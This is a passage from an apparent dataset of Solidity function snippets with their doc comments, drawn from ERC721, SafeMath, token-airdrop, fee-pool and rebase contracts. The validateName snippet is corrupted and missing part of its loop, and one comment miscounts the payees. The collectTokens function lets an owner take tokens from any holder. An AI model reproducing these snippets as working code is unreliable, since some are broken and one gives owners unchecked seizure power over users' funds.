amount.mul(1e8);\r\n uint256 totalAmount = amount.mul(addresses.length);\r\n require(balanceOf[msg.sender] >= totalAmount);\r\n \r\n for (uint j = 0; j < addresses.length; j++) {\r\n require(addresses[j] != 0x0\r\n && frozenAccount[addresses[j]] == false\r\n && now > unlockUnixTime[addresses[j]]);\r\n\r\n balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);\r\n Transfer(msg.sender, addresses[j], amount);\r\n }\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function to collect tokens from the list of addresses\r\n */", "function_code": "function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {\r\n require(addresses.length > 0\r\n && addresses.length == amounts.length);\r\n\r\n uint256 totalAmount = 0;\r\n \r\n for (uint j = 0; j < addresses.length; j++) {\r\n require(amounts[j] > 0\r\n && addresses[j] != 0x0\r\n && frozenAccount[addresses[j]] == false\r\n && now > unlockUnixTime[addresses[j]]);\r\n \r\n amounts[j] = amounts[j].mul(1e8);\r\n require(balanceOf[addresses[j]] >= amounts[j]);\r\n balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);\r\n totalAmount = totalAmount.add(amounts[j]);\r\n Transfer(addresses[j], msg.sender, amounts[j]);\r\n }\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function to distribute tokens to the msg.sender automatically\r\n * If distributeAmount is 0, this function doesn't work\r\n */", "function_code": "function autoDistribute() payable public {\r\n require(distributeAmount > 0\r\n && balanceOf[owner] >= distributeAmount\r\n && frozenAccount[msg.sender] == false\r\n && now > unlockUnixTime[msg.sender]);\r\n if(msg.value > 0) owner.transfer(msg.value);\r\n \r\n balanceOf[owner] = balanceOf[owner].sub(distributeAmount);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);\r\n Transfer(owner, msg.sender, distributeAmount);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r\n * with `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */", "function_code": "function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\r\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\r\n require(isContract(target), \"Address: call to non-contract\");\r\n\r\n // solhint-disable-next-line avoid-low-level-calls\r\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\r\n return _verifyCallResult(success, returndata, errorMessage);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */", "function_code": "function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\r\n require(isContract(target), \"Address: static call to non-contract\");\r\n\r\n // solhint-disable-next-line avoid-low-level-calls\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return _verifyCallResult(success, returndata, errorMessage);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice Function that allows you to exchange synths you hold in one flavour for another.\r\n * @param sourceCurrencyKey The source currency you wish to exchange from\r\n * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange\r\n * @param destinationCurrencyKey The destination currency you wish to obtain.\r\n * @param destinationAddress Where the result should go. If this is address(0) then it sends back to the message sender.\r\n * @return Boolean that indicates whether the transfer succeeded or failed.\r\n */", "function_code": "function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)\r\n external\r\n optionalProxy\r\n // Note: We don't need to insist on non-stale rates because effectiveValue will do it for us.\r\n returns (bool)\r\n {\r\n require(sourceCurrencyKey != destinationCurrencyKey, \"Exchange must use different synths\");\r\n require(sourceAmount > 0, \"Zero amount\");\r\n\r\n // Pass it along, defaulting to the sender as the recipient.\r\n return _internalExchange(\r\n messageSender,\r\n sourceCurrencyKey,\r\n sourceAmount,\r\n destinationCurrencyKey,\r\n destinationAddress == address(0) ? messageSender : destinationAddress,\r\n true // Charge fee on the exchange\r\n );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\r\n */", "function_code": "function toString(uint256 value) internal pure returns (string memory) {\r\n // Inspired by OraclizeAPI's implementation - MIT licence\r\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\r\n\r\n if (value == 0) {\r\n return \"0\";\r\n }\r\n uint256 temp = value;\r\n uint256 digits;\r\n while (temp != 0) {\r\n digits++;\r\n temp /= 10;\r\n }\r\n bytes memory buffer = new bytes(digits);\r\n while (value != 0) {\r\n digits -= 1;\r\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r\n value /= 10;\r\n }\r\n return string(buffer);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\r\n */", "function_code": "function toHexString(uint256 value) internal pure returns (string memory) {\r\n if (value == 0) {\r\n return \"0x00\";\r\n }\r\n uint256 temp = value;\r\n uint256 length = 0;\r\n while (temp != 0) {\r\n length++;\r\n temp >>= 8;\r\n }\r\n return toHexString(value, length);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\r\n */", "function_code": "function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\r\n bytes memory buffer = new bytes(2 * length + 2);\r\n buffer[0] = \"0\";\r\n buffer[1] = \"x\";\r\n for (uint256 i = 2 * length + 1; i > 1; --i) {\r\n buffer[i] = alphabet[value & 0xf];\r\n value >>= 4;\r\n }\r\n require(value == 0, \"Strings: hex length insufficient\");\r\n return string(buffer);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev See {IERC721Metadata-tokenURI}.\r\n */", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n\r\n string memory baseURI = _baseURI();\r\n return bytes(baseURI).length > 0\r\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\r\n : '';\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev See {IERC721-approve}.\r\n */", "function_code": "function approve(address to, uint256 tokenId) public virtual override {\r\n address owner = ERC721.ownerOf(tokenId);\r\n require(to != owner, \"ERC721: approval to current owner\");\r\n\r\n require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),\r\n \"ERC721: approve caller is not owner nor approved for all\"\r\n );\r\n\r\n _approve(to, tokenId);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must exist.\r\n */", "function_code": "function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\r\n require(_exists(tokenId), \"ERC721: operator query for nonexistent token\");\r\n address owner = ERC721.ownerOf(tokenId);\r\n return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mints `tokenId` and transfers it to `to`.\r\n *\r\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\r\n *\r\n * Requirements:\r\n *\r\n * - `tokenId` must not exist.\r\n * - `to` cannot be the zero address.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _mint(address to, uint256 tokenId) internal virtual {\r\n require(to != address(0), \"ERC721: mint to the zero address\");\r\n require(!_exists(tokenId), \"ERC721: token already minted\");\r\n\r\n _beforeTokenTransfer(address(0), to, tokenId);\r\n\r\n _balances[to] += 1;\r\n _owners[tokenId] = to;\r\n\r\n emit Transfer(address(0), to, tokenId);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Transfers `tokenId` from `from` to `to`.\r\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - `tokenId` token must be owned by `from`.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _transfer(address from, address to, uint256 tokenId) internal virtual {\r\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\r\n require(to != address(0), \"ERC721: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(from, to, tokenId);\r\n\r\n // Clear approvals from the previous owner\r\n _approve(address(0), tokenId);\r\n\r\n _balances[from] -= 1;\r\n _balances[to] += 1;\r\n _owners[tokenId] = to;\r\n\r\n emit Transfer(from, to, tokenId);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\r\n * The call is not executed if the target address is not a contract.\r\n *\r\n * @param from address representing the previous owner of the given token ID\r\n * @param to target address that will receive the tokens\r\n * @param tokenId uint256 ID of the token to be transferred\r\n * @param _data bytes optional data to send along with the call\r\n * @return bool whether the call correctly returned the expected magic value\r\n */", "function_code": "function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)\r\n private returns (bool)\r\n {\r\n if (to.isContract()) {\r\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\r\n return retval == IERC721Receiver(to).onERC721Received.selector;\r\n } catch (bytes memory reason) {\r\n if (reason.length == 0) {\r\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\r\n } else {\r\n // solhint-disable-next-line no-inline-assembly\r\n assembly {\r\n revert(add(32, reason), mload(reason))\r\n }\r\n }\r\n }\r\n } else {\r\n return true;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Hook that is called before any token transfer. This includes minting\r\n * and burning.\r\n *\r\n * Calling conditions:\r\n *\r\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\r\n * transferred to `to`.\r\n * - When `from` is zero, `tokenId` will be minted for `to`.\r\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\r\n * - `from` cannot be the zero address.\r\n * - `to` cannot be the zero address.\r\n *\r\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\r\n */", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {\r\n super._beforeTokenTransfer(from, to, tokenId);\r\n\r\n if (from == address(0)) {\r\n _addTokenToAllTokensEnumeration(tokenId);\r\n } else if (from != to) {\r\n _removeTokenFromOwnerEnumeration(from, tokenId);\r\n }\r\n if (to == address(0)) {\r\n _removeTokenFromAllTokensEnumeration(tokenId);\r\n } else if (to != from) {\r\n _addTokenToOwnerEnumeration(to, tokenId);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\r\n * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\r\n * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\r\n * This has O(1) time complexity, but alters the order of the _ownedTokens array.\r\n * @param from address representing the previous owner of the given token ID\r\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\r\n */", "function_code": "function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\r\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\r\n // then delete the last slot (swap and pop).\r\n\r\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\r\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\r\n\r\n // When the token to delete is the last token, the swap operation is unnecessary\r\n if (tokenIndex != lastTokenIndex) {\r\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\r\n\r\n _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\r\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\r\n }\r\n\r\n // This also deletes the contents at the last position of the array\r\n delete _ownedTokensIndex[tokenId];\r\n delete _ownedTokens[from][lastTokenIndex];\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Private function to remove a token from this extension's token tracking data structures.\r\n * This has O(1) time complexity, but alters the order of the _allTokens array.\r\n * @param tokenId uint256 ID of the token to be removed from the tokens list\r\n */", "function_code": "function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\r\n // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\r\n // then delete the last slot (swap and pop).\r\n\r\n uint256 lastTokenIndex = _allTokens.length - 1;\r\n uint256 tokenIndex = _allTokensIndex[tokenId];\r\n\r\n // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\r\n // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\r\n // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\r\n uint256 lastTokenId = _allTokens[lastTokenIndex];\r\n\r\n _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\r\n _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\r\n\r\n // This also deletes the contents at the last position of the array\r\n delete _allTokensIndex[tokenId];\r\n _allTokens.pop();\r\n }", "version": "0.8.4"} {"comment": "// internal minting function", "function_code": "function _mint(uint256 _numToMint, address receiver) internal {\r\n require(_numToMint <= MAX_MINTABLE_AT_ONCE, \"Minting too many at once.\");\r\n\r\n uint256 updatedNumAvailableTokens = _numAvailableTokens;\r\n for (uint256 i = 0; i < _numToMint; i++) {\r\n uint256 newTokenId = useRandomAvailableToken(_numToMint, i);\r\n _safeMint(receiver, newTokenId);\r\n updatedNumAvailableTokens--;\r\n }\r\n _numAvailableTokens = updatedNumAvailableTokens;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Multiplies two numbers, reverts on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b);\r\n\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n require(b > 0); // Solidity only automatically asserts when dividing by 0\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Multiplies two int256 variables and fails on overflow.\r\n */", "function_code": "function mul(int256 a, int256 b)\r\n internal\r\n pure\r\n returns (int256)\r\n {\r\n int256 c = a * b;\r\n\r\n // Detect overflow when multiplying MIN_INT256 with -1\r\n require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));\r\n require((b == 0) || (c / b == a));\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Division of two int256 variables and fails on overflow.\r\n */", "function_code": "function div(int256 a, int256 b)\r\n internal\r\n pure\r\n returns (int256)\r\n {\r\n // Prevent overflow when dividing MIN_INT256 by -1\r\n require(b != -1 || a != MIN_INT256);\r\n\r\n // Solidity already throws when dividing by 0.\r\n return a / b;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Set the fee period duration\r\n */", "function_code": "function setFeePeriodDuration(uint _feePeriodDuration)\r\n external\r\n optionalProxy_onlyOwner\r\n {\r\n require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, \"New fee period cannot be less than minimum fee period duration\");\r\n require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, \"New fee period cannot be greater than maximum fee period duration\");\r\n\r\n feePeriodDuration = _feePeriodDuration;\r\n\r\n emitFeePeriodDurationUpdated(_feePeriodDuration);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Adds two int256 variables and fails on overflow.\r\n */", "function_code": "function add(int256 a, int256 b)\r\n internal\r\n pure\r\n returns (int256)\r\n {\r\n int256 c = a + b;\r\n require((b >= 0 && c >= a) || (b < 0 && c < a));\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Initiates a new rebase operation, provided the minimum time period has elapsed.\r\n *\r\n */", "function_code": "function rebase() external {\r\n\r\n require(tx.origin == msg.sender);\r\n require(canRebase(), \"Rebase not allowed\");\r\n\r\n lastRebaseTimestampSec = now;\r\n\r\n epoch = epoch.add(1);\r\n\r\n (uint256 exchangeRate, int256 supplyDelta) = getRebaseValues();\r\n \r\n uint256 supplyAfterRebase = cum.rebase(epoch, supplyDelta);\r\n \r\n assert(supplyAfterRebase <= MAX_SUPPLY);\r\n \r\n for (uint i = 0; i < transactions.length; i++) {\r\n Transaction storage t = transactions[i];\r\n if (t.enabled) {\r\n bool result =\r\n externalCall(t.destination, t.data);\r\n if (!result) {\r\n emit TransactionFailed(t.destination, i, t.data);\r\n revert(\"Transaction Failed\");\r\n }\r\n }\r\n }\r\n \r\n marketOracle.update();\r\n\r\n if (epoch < 80) {\r\n incrementTargetRate();\r\n } else {\r\n finalRate();\r\n }\r\n \r\n emit LogRebase(epoch, exchangeRate, supplyDelta, now);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Calculates the supplyDelta and returns the current set of values for the rebase\r\n *\r\n * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag\r\n * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate\r\n * \r\n */", "function_code": "function getRebaseValues() public view returns (uint256, int256) {\r\n\r\n uint256 exchangeRate = marketOracle.getData();\r\n\r\n if (exchangeRate > MAX_RATE) {\r\n exchangeRate = MAX_RATE;\r\n }\r\n\r\n int256 supplyDelta = computeSupplyDelta(exchangeRate);\r\n\r\n // Apply the dampening factor.\r\n if (supplyDelta < 0) {\r\n supplyDelta = supplyDelta.div(2);\r\n } else {\r\n supplyDelta = supplyDelta.div(5); \r\n }\r\n\r\n if (supplyDelta > 0 && cum.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {\r\n supplyDelta = (MAX_SUPPLY.sub(cum.totalSupply())).toInt256Safe();\r\n }\r\n\r\n return (exchangeRate, supplyDelta);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @param rate The current exchange rate, an 18 decimal fixed point number.\r\n * @return If the rate is within the deviation threshold from the target rate, returns true.\r\n * Otherwise, returns false.\r\n */", "function_code": "function withinDeviationThreshold(uint256 rate)\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)\r\n .div(10 ** DECIMALS);\r\n\r\n return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)\r\n || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev wrapper to call the encoded transactions on downstream consumers.\r\n * @param destination Address of destination contract.\r\n * @param data The encoded data payload.\r\n * @return True on success\r\n */", "function_code": "function externalCall(address destination, bytes memory data)\r\n internal\r\n returns (bool)\r\n {\r\n bool result;\r\n assembly { // solhint-disable-line no-inline-assembly\r\n // \"Allocate\" memory for output\r\n // (0x40 is where \"free memory\" pointer is stored by convention)\r\n let outputAddress := mload(0x40)\r\n\r\n // First 32 bytes are the padded length of data, so exclude that\r\n let dataAddress := add(data, 32)\r\n\r\n result := call(\r\n sub(gas(), 34710),\r\n destination,\r\n 0, // transfer value in wei\r\n dataAddress,\r\n mload(data), // Size of the input, in bytes. Stored in position 0 of the array.\r\n outputAddress,\r\n 0 // Output is ignored, therefore the output size is zero\r\n )\r\n }\r\n return result;\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Changes the name for given tokenId\n */", "function_code": "function changeName(uint256 tokenId, string memory newName) public {\n address owner = ownerOf(tokenId);\n\n require(_msgSender() == owner, \"BCE: Ownership\");\n require(validateName(newName) == true, \"BCE: Invalid\");\n require(sha256(bytes(newName)) != sha256(bytes(tokenNames[tokenId])), \"BCE: Used\");\n require(isNameReserved(newName) == false, \"BCE: Taken\");\n\n IERC20(bceNCTAddress).transferFrom(_msgSender(), address(this), 1e20);\n\n // If already named, dereserve old name\n if (bytes(tokenNames[tokenId]).length > 0) {\n toggleReserveName(tokenNames[tokenId], false);\n }\n\n toggleReserveName(newName, true);\n tokenNames[tokenId] = newName;\n IERC20(bceNCTAddress).burn(1e20);\n emit NameChange(tokenId, newName);\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space)\n */", "function_code": "function validateName(string memory str) public pure returns (bool){\n bytes memory b = bytes(str);\n if(b.length < 1) return false;\n if(b.length > 25) return false; // Cannot be longer than 25 characters\n if(b[0] == 0x20) return false; // Leading space\n if (b[b.length - 1] == 0x20) return false; // Trailing space\n\n bytes1 lastChar = b[0];\n\n for(uint i; i= 0x30 && char <= 0x39) && //9-0\n !(char >= 0x41 && char <= 0x5A) && //A-Z\n !(char >= 0x61 && char <= 0x7A) && //a-z\n !(char == 0x20) //space\n )\n return false;\n\n lastChar = char;\n }\n\n return true;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Converts the string to lowercase\n */", "function_code": "function toLower(string memory str) public pure returns (string memory){\n bytes memory bStr = bytes(str);\n bytes memory bLower = new bytes(bStr.length);\n for (uint i = 0; i < bStr.length; i++) {\n // Uppercase character\n if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {\n bLower[i] = bytes1(uint8(bStr[i]) + 32);\n } else {\n bLower[i] = bStr[i];\n }\n }\n return string(bLower);\n }", "version": "0.7.0"} {"comment": "// send contract balance to addresses 1 and 2", "function_code": "function payAccounts() public payable {\n uint256 balance = address(this).balance;\n if (balance != 0) {\n account1.transfer((balance * 33 / 100));\n account2.transfer((balance * 33 / 100));\n account3.transfer(balance * 33 / 100);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice ownershipPercentage is a high precision decimals uint based on\r\n * wallet's debtPercentage. Gives a precise amount of the feesToDistribute\r\n * for fees in the period. Precision factor is removed before results are\r\n * returned.\r\n */", "function_code": "function _feesAndRewardsFromPeriod(uint period, uint ownershipPercentage, uint debtEntryIndex, uint penalty)\r\n internal\r\n returns (uint, uint)\r\n {\r\n // If it's zero, they haven't issued, and they have no fees OR rewards.\r\n if (ownershipPercentage == 0) return (0, 0);\r\n\r\n uint debtOwnershipForPeriod = ownershipPercentage;\r\n\r\n // If period has closed we want to calculate debtPercentage for the period\r\n if (period > 0) {\r\n uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1);\r\n debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);\r\n }\r\n\r\n // Calculate their percentage of the fees / rewards in this period\r\n // This is a high precision integer.\r\n uint feesFromPeriodWithoutPenalty = recentFeePeriods[period].feesToDistribute\r\n .multiplyDecimal(debtOwnershipForPeriod);\r\n\r\n uint rewardsFromPeriodWithoutPenalty = recentFeePeriods[period].rewardsToDistribute\r\n .multiplyDecimal(debtOwnershipForPeriod);\r\n\r\n // Less their penalty if they have one.\r\n uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(feesFromPeriodWithoutPenalty.multiplyDecimal(penalty));\r\n\r\n uint rewardsFromPeriod = rewardsFromPeriodWithoutPenalty.sub(rewardsFromPeriodWithoutPenalty.multiplyDecimal(penalty));\r\n\r\n return (\r\n feesFromPeriod.preciseDecimalToDecimal(),\r\n rewardsFromPeriod.preciseDecimalToDecimal()\r\n );\r\n }", "version": "0.4.25"} {"comment": "/** @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n * the total supply.\r\n *\r\n * Emits a {Transfer} event with `from` set to the zero address.\r\n *\r\n * Requirements:\r\n *\r\n * - `account` cannot be the zero address.\r\n */", "function_code": "function _mint(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n\r\n _beforeTokenTransfer(address(0), account, amount);\r\n\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[account] = _balances[account].add(amount);\r\n emit Transfer(address(0), account, amount);\r\n }", "version": "0.8.10"} {"comment": "// change the minimum amount of tokens to sell from fees", "function_code": "function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){\r\n \t require(newAmount >= totalSupply() * 1 / 100000, \"Swap amount cannot be lower than 0.001% total supply.\");\r\n \t require(newAmount <= totalSupply() * 5 / 1000, \"Swap amount cannot be higher than 0.5% total supply.\");\r\n \t swapTokensAtAmount = newAmount;\r\n \t return true;\r\n \t}", "version": "0.8.10"} {"comment": "// useful for buybacks or to reclaim any BNB on the contract in a way that helps holders.", "function_code": "function buyBackTokens(uint256 bnbAmountInWei) external onlyOwner {\r\n // generate the uniswap pair path of weth -> eth\r\n address[] memory path = new address[](2);\r\n path[0] = uniswapV2Router.WETH();\r\n path[1] = address(this);\r\n\r\n // make the swap\r\n uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: bnbAmountInWei}(\r\n 0, // accept any amount of Ethereum\r\n path,\r\n address(0xdead),\r\n block.timestamp\r\n );\r\n emit BuyBackTriggered(bnbAmountInWei);\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * Checks the return value of the previous function up to 32 bytes. Returns true if the previous\r\n * function returned 0 bytes or 1.\r\n */", "function_code": "function checkSuccess() private pure returns (bool) {\r\n // default to failure\r\n uint256 returnValue = 0;\r\n\r\n assembly {\r\n // check number of bytes returned from last function call\r\n switch returndatasize\r\n // no bytes returned: assume success\r\n case 0x0 {\r\n returnValue := 1\r\n }\r\n // 32 bytes returned\r\n case 0x20 {\r\n // copy 32 bytes into scratch space\r\n returndatacopy(0x0, 0x0, 0x20)\r\n\r\n // load those bytes into returnValue\r\n returnValue := mload(0x0)\r\n }\r\n // not sure what was returned: dont mark as success\r\n default {\r\n\r\n }\r\n }\r\n\r\n // check if returned value is one or nothing\r\n return returnValue != 0;\r\n }", "version": "0.5.12"} {"comment": "// ------------------------------------------------------------------------\n// Transfer tokens from the from account to the to account\n//\n// The calling account must already have sufficient tokens approve(...)-d\n// for spending from the from account and\n// - From account must have sufficient balance to transfer\n// - Spender must have sufficient allowance to transfer\n// - 0 value transfers are allowed\n// ------------------------------------------------------------------------", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n balances[from] = safeSub(balances[from], tokens);\r\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/*batch airdrop functions*/", "function_code": "function airdropWithAmount(address [] _recipients, uint256 _value) onlyOwner canMint whenDropable external {\r\n for (uint i = 0; i < _recipients.length; i++) {\r\n address recipient = _recipients[i];\r\n require(totalSupply_.add(_value) <= actualCap_);\r\n mint(recipient, _value);\r\n }\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Function to purchase tokens\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function purchase() whenNotLocked canPurchase public payable returns (bool) {\r\n uint256 ethAmount = msg.value;\r\n uint256 tokenAmount = ethAmount.div(tokenPrice_).mul(10 ** uint256(decimals));\r\n require(totalSupply_.add(tokenAmount) <= actualCap_);\r\n totalSupply_ = totalSupply_.add(tokenAmount);\r\n balances[msg.sender] = balances[msg.sender].add(tokenAmount);\r\n etherAmount_ = etherAmount_.add(ethAmount);\r\n emit onPurchase(msg.sender, ethAmount, tokenAmount);\r\n emit Transfer(address(0), msg.sender, tokenAmount);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/** \r\n * @notice redeem bond for user\r\n * @return uint\r\n */", "function_code": "function redeem(address _depositor) external returns (uint) {\r\n Bond memory info = bondInfo[ _depositor ];\r\n uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining)\r\n\r\n if ( percentVested >= 10000 ) { // if fully vested\r\n delete bondInfo[ _depositor ]; // delete user info\r\n emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data\r\n payoutToken.safeTransfer( _depositor, info.payout );\r\n return info.payout;\r\n\r\n } else { // if unfinished\r\n // calculate payout vested\r\n uint payout = info.payout.mul( percentVested ).div( 10000 );\r\n\r\n // store updated deposit info\r\n bondInfo[ _depositor ] = Bond({\r\n payout: info.payout.sub( payout ),\r\n vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ),\r\n lastBlock: block.number,\r\n truePricePaid: info.truePricePaid\r\n });\r\n\r\n emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout );\r\n payoutToken.safeTransfer( _depositor, payout );\r\n return payout;\r\n }\r\n \r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev See {IERC721-transferFrom}.\r\n */", "function_code": "function transferFrom(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) public virtual override {\r\n //solhint-disable-next-line max-line-length\r\n require(\r\n _isApprovedOrOwner(_msgSender(), tokenId),\r\n \"ERC721: transfer caller is not owner nor approved\"\r\n );\r\n\r\n _transfer(from, to, tokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev See {IERC721-safeTransferFrom}.\r\n */", "function_code": "function safeTransferFrom(\r\n address from,\r\n address to,\r\n uint256 tokenId,\r\n bytes memory _data\r\n ) public virtual override {\r\n require(\r\n _isApprovedOrOwner(_msgSender(), tokenId),\r\n \"ERC721: transfer caller is not owner nor 